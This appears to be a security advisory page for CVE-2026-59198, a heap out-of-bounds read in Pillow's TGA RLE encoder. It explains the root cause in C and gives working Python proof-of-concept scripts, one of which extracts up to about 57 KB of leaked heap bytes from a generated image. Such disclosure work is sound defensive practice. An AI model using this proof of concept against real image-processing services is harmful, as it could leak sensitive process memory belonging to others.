CVE-2026-59198: Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images

Published Jul 14, 2026
·
Updated

Summary

Pillow's TGA RLE encoder reads past its row buffer when saving a mode "1" image. Adjacent process heap bytes can be copied into the generated TGA file.

The bug is reachable through the public save API:

python im.save(out, format="TGA", compression="tgarle")

Older affected Pillow versions use the equivalent public option rle=True.

For mode "1", Pillow allocates a packed row buffer of ceil(width / 8) bytes, but ImagingTgaRleEncode() treats the row as one full byte per pixel.

The maximum valid TGA width is 65535. At that width:

text allocated packed row buffer: 8192 bytes encoder byte-offset walk: 65535 bytes maximum OOB window per row: 57343 bytes

On non-ASAN Pillow 12.2.0, the public-only maximum-width PoC below serialized 57297 bytes from distinct out-of-bounds source offsets into one returned TGA, covering 99.92% of the maximum adjacent heap window. No heap grooming, ctypes, private API, or malformed input file was used. The disclosure is emitted across many TGA packet payload copies of at most 128 bytes each, not one large memcpy().

Details

src/PIL/TgaImagePlugin.py allows mode "1" TGA output and selects the tgarle encoder when RLE compression is requested.

src/encode.c:setimage() allocates the row buffer using the packed-bit formula:

c state->bytes = (state->bits state->xsize + 7) / 8; state->buffer = (UINT8 )calloc(1, state->bytes);

For mode "1", state->bits == 1.

src/libImaging/TgaRleEncode.c then computes:

c bytesPerPixel = (state->bits + 7) / 8;

This becomes 1, and the encoder uses pixel indexes as byte offsets:

c static int comparePixels(const UINT8 buf, int x, int bytesPerPixel) { buf += x bytesPerPixel; return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0; }

The packet payload memcpy() later copies those out-of-bounds source bytes into the output. Raw packets copy up to 128 contiguous bytes, while RLE packets copy one representative byte:

c memcpy( dst, state->buffer + (state->x bytesPerPixel - state->count), flushCount );

A width-2 mode "1" image allocates one row byte and already triggers an ASAN heap-buffer-overflow read. Wider images increase the adjacent heap window and the amount of heap data that can be serialized.

PoC

Minimal ASAN trigger

python import io from PIL import Image

out = io.BytesIO() Image.new("1", (2, 1)).save(out, format="TGA", compression="tgarle")

Observed on local Pillow 12.3.0.dev0 ASAN target:

text ERROR: AddressSanitizer: heap-buffer-overflow READ of size 1 comparePixels /out/src/src/libImaging/TgaRleEncode.c:10 ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81 0 bytes after a 1-byte allocation from setimage

Maximum-width heap disclosure

This PoC uses one maximum-width row. It parses the generated TGA packets and extracts only payload bytes whose source offsets were outside the allocated packed row. Rows are avoided because they mostly repeat the same adjacent heap window.

Run the following with a standard affected Pillow installation.

python import hashlib import io import PIL from PIL import Image

WIDTH = 65535 ATTEMPTS = 20 ROWBYTES = (WIDTH + 7) // 8 MAXOOBWINDOW = WIDTH - ROWBYTES

def extractoobpayload(data): i = 18 pixel = 0 oob = bytearray()

while pixel < WIDTH: descriptor = data[i] i += 1 count = (descriptor & 0x7F) + 1

if descriptor & 0x80: value = data[i] i += 1 if pixel + count - 1 >= ROWBYTES: oob.append(value) else: values = data[i : i + count] i += count oob.extend(values[max(ROWBYTES - pixel, 0) :])

pixel += count

return bytes(oob)

best = b""

for in range(ATTEMPTS): out = io.BytesIO() Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tgarle") oob = extractoobpayload(out.getvalue()) if len(oob) > len(best): best = oob

with open("/tmp/maxoobbytes.bin", "wb") as fp: fp.write(best)

print(f"Pillow={PIL.version}") print(f"packedrowbytes={ROWBYTES}") print(f"maximumoobwindow={MAXOOBWINDOW}") print(f"serializeddistinctooboffsets={len(best)}") print(f"nonzerooobbytes={sum(byte != 0 for byte in best)}") print(f"coverage={len(best) / MAXOOBWINDOW:.2%}") print(f"sha256={hashlib.sha256(best).hexdigest()}")

Observed on installed Pillow 12.2.0:

text Pillow=12.2.0 packedrowbytes=8192 maximumoobwindow=57343 serializeddistinctooboffsets=57297 nonzerooobbytes=54407 coverage=99.92%

Impact

This is a heap out-of-bounds read and potential information disclosure.

A maximum-width single-row image can cause nearly the full 57343-byte adjacent heap window to be incorporated into one output file.

Other sources

Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.

NVD

Affected Software

3 affected componentsFixes available
Pillow>5.2.0<=12.3.0
Python Pillow>=5.2.0<12.3.0
pip/Pillow>=5.2.0<12.3.0
12.3.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/Pillow to a version that resolves this vulnerability.

    Fixed in 12.3.0
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 12.3.0
  3. Compensating control

    If you cannot immediately upgrade, avoid saving mode "1" images to TGA using RLE compression via Pillow’s public save API (e.g., do not use format="TGA" with compression="tga_rle" / equivalent rle=True).

Event History

Jul 14, 2026
CVE Published
via MITRE·04:07 PM
Data Sourced
via MITRE·04:07 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:17 PM
RemedyDescriptionSeverityWeaknessAffected Software
Jul 20, 2026
Advisory Published
via GitHub·11:09 PM
Data Sourced
via GitHub·11:09 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-59198?

CVE-2026-59198 has a medium severity score of 6.5.

2

How do I fix CVE-2026-59198?

To fix CVE-2026-59198, upgrade Pillow to version 12.3.0 or later.

3

What software is affected by CVE-2026-59198?

CVE-2026-59198 affects versions of Pillow from 5.2.0 to 12.2.9.

4

What kind of vulnerability is CVE-2026-59198?

CVE-2026-59198 is a heap serialization vulnerability in the TGA RLE encoder of the Pillow library.

5

What is the risk associated with CVE-2026-59198?

CVE-2026-59198 presents a risk of disclosing sensitive adjacent process heap data in generated TGA files.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203